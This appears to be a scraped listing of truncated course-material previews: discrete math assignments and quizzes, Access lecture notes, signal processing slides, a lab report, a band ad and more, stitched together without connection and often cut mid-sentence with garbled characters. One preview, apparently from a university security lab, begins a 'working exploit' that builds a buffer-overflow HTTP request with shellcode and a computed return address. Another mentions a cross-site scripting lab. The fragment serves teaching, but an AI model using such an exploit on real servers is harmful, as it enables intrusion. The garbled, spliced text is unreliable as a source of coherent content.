Theoretical Foundation of Computer Science
Fall 2015
CSc 2510
Assignment 1
Due by: 11:59 PM, September 10, 2015
Chapter 1
Section 1.1
1 Given the following three propositions: (if P is a proposition, P` is its negation)
He owns an apartment near his work
Lecture notes for 15.564: Information Technology I
Microsoft Access GUI Building
Forms
Reports
1
Microsoft Access provides the tools for developing graphical user interfaces that
facilitate the use of database applications.
An Access GUI consists of a set
I Lab 1
The following is a working exploit for exercise 2 in lab 1:
reqpath = 0xbfffedf8
ebp
= 0xbffff608
retaddr = ebp + 4
def build_exploit(shellcode):
req = ( GET / +
urllib.quote(shellcode) +
x * (retaddr - reqpath - (len(shellcode)+8) +
yyyy +
urllib
15.564 Information Technology I
Spring 2003
An Introduction to Microsoft Access
Lecture Script
1. Introduction
Open Database: Northwind.mdb
Select File then Open Database
Note file extension .mdb
Discuss Access UI
An Access database consists of one or mor
I Buffer Overows
Ben Bitdiddle is building a web server that runs the following code sequence, in which process_req()
is invoked with a user-supplied string of arbitrary length. ssume that process_get() is safe, and for
the purposes of this question, simp
Representing a (Geometric) Vector
In the context of geometry, a
vector consists of 2 points: a
start and a finish
Each point itself has an x and y
coordinate
Start =
(0.4, 0.8)
End =
(0.9, 1.5)
Representing a (Geometric) Vector
Our representation so fa
6.096 Problem Set 3
1
1.1
Additional Material
Arrays of class objects
An array of class objects is similar to an array of some other data type. To create an array
of Points, we write
Point parray [4];
To access the object at position i of the array, we wr
Eye Diagrams
000 100 010 110 001 101 011 111
Eye diagrams make it easy to find
the worst-case signaling conditions
at the receiving end.
6.02 Fall 2012
These are overlaid
two-bit-slot segments
of step responses, plotted
without the stems of
the stem plot
I Web security
1. [8 points]:
Recall that Zoobar has a cross-site scripting vulnerability that allows an adversary to construct a URL
so that the servers response contains arbitrary Javascript code (from the URL itself). In lab 5, you
used this vulnerabil
CSc 2510
Theoretical Foundation of Computer
Spring 2010
Science
Due date: Wednesday, March 17, 2010
Assignment 4
Chapter 4
4.1.1. Given the following formula;
1.2.3.4 + 2.3.4.5 + 3.4.5.6 + +n(n+1)(n+2)(n+3) = n(n+1)(n+2)(n+3)(n+4)/5
i- List the values for
CSc 2510
Theoretical Foundation of Computer Science
Name:
Solution
Fall 2015
(last four digits of your ID):
Quiz #2
1- Given the following three sets:
A=cfw_11,12,13,15,19, B=cfw_12,13,18,16 and C=cfw_11,14,15,17,19
a- Complete Table.a
b- Given F=cfw_(12,
CSc 2510
Theoretical Foundation of Computer Science
Your GSU email:
Name:
Fall 2015
(last 4 digits of your ID):
@gsu.edu
solution
Quiz #1
Given the following two statements:
A=it is raining on Monday, B=the game is canceled.
a) Convert to English language
CSc 2510
Theoretical Foundation of Computer Science
Assignment 5
Fall 2015
Due date: Nov 15 2015
Solve the following problems;
7.1.1 What is the probability a number >0 and not exceeding 900 is divisible by:
a- 11
.09
a-Pr=
b- 11 and 5
.018
b- Pr =
c- 11
Theory of Parallel Hardware
Massachusetts Institute of Technology
Charles Leiserson, Michael Bender, Bradley Kuszmaul
February 23, 2004
6.896
Handout 5
Solution Set 2
Due: In class on Wednesday, February 18.
Starred problems are optional.
Problem 2-1. A s
I KeyKOS
1. [10 points]:
Bob is running the privilege-separated Zoobar web site on a KeyNIX system,
using code from lab 3. Suggest a way in which Bob can modify the Zoobar server-side code to take
advantage of KeyKOS capabilities to improve the security o
Bounded-Input Bounded-Output (BIBO)
Stability
What ensures that the infinite sum
"
y[n] =
is well-behaved?
# h[m]x[n ! m]
m=!"
One important case: If the unit sample response is absolutely
"
summable, i.e.,
# | h[m] |!<!"
m=!"
and the input is bounded, i.
Lecture notes for 15.564: Information Technology I
Outline: Database Design
What makes a good database
How to design a good database
Informal design rules
Informal design process
Database design example
1
Database Design Checklist
Meaningful tables
Separa
Dealing with Multiple Random Variables
PDF of a random variable X:
fX(x) 0
and
fX(x) dx = 1
(this integral is over the entire real line)
The natural extension to the case of two random
variables X and Y is the joint PDF of X and Y:
fX,Y(x,y) 0
and fX,Y
Chapter 2.1 Notes
Sets
A set is a collection or group of objects or elements or
members. (Cantor 1895)
A set is said to contain its elements.
There must be an underlying universal set U, either
specifically stated or understood.
_
Notation:
list the el
Chapter 1.3 Notes
Predicates and Quantifiers
A generalization of propositions - propositional functions or
predicates.: propositions which contain variables
Predicates become propositions once every variable is bound- by
assigning it a value from the Uni
Chapter 1.2 Notes
Propositional Equivalences
A tautology is a proposition which is always true.
Classic Example: PP
_
A contradiction is a proposition which is always false.
Classic Example: PP
_
A contingency is a proposition which neither a tautology
no
Name _ANSWER SHEET_
1.
25 Aug 2011
Find the proposition, converse, contrapositive, and inverse of the following statement and
also show the p q relationship of each (i.e. p -> q, etc.):
Raining tomorrow is a sufficient condition for my not going to town.
Name _
Quiz 5: Oct. 6, 2011
1. Give a direct proof of the theorem If n is an odd integer, then n2 is odd.
Assume that n is odd.
Then n = 2k + 1 for an integer k.
Squaring both sides of the equation, we get:
n2 = (2k + 1)2
= 4k2 + 4k +1
= 2(2k2 + 2k) + 1
=
Jacob Shaw
Lab 5
Exercise 1: Waveform Generator
Experimental
0.080
0.030
0.018
0.014
Calculated
0.079
0.033
0.017
0.014
Exercise 2: Microphone
The clap was used to determine a threshold value of 0.03. This value was low enough to stop the
program upon cla
University of Georgia
College of Engineering
Individual Progress Report No. 1
Jacob D.
Shaw
Process Design and Economics of Natural Indigo
Extraction
2/5/2017
Design Team: Kevin Dong, David Liaguno, Erik Navarro, Erin Smith, Jacob Shaw
Project Supervisors
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WANTS YOU
thens band seeking drummer, second
guitarist, and bassist
Influences:
Slayer, Beethoven, Black Sabbath, Ministry,
King Crimson, Gentle Giant, Can, Beherit,
Coil, Demilich, Massacra, Claude Debussy,
etc.
Contact:
phone: cfw_H16
GPU
Study this set online at: http:/www.cram.com/ashcards/gpu-8453337
How many people here play video games on pc or consoles or eve
n on a smart phone? Have you ever think about how you can able
to see images and videos on a glass? What is GPU? Have any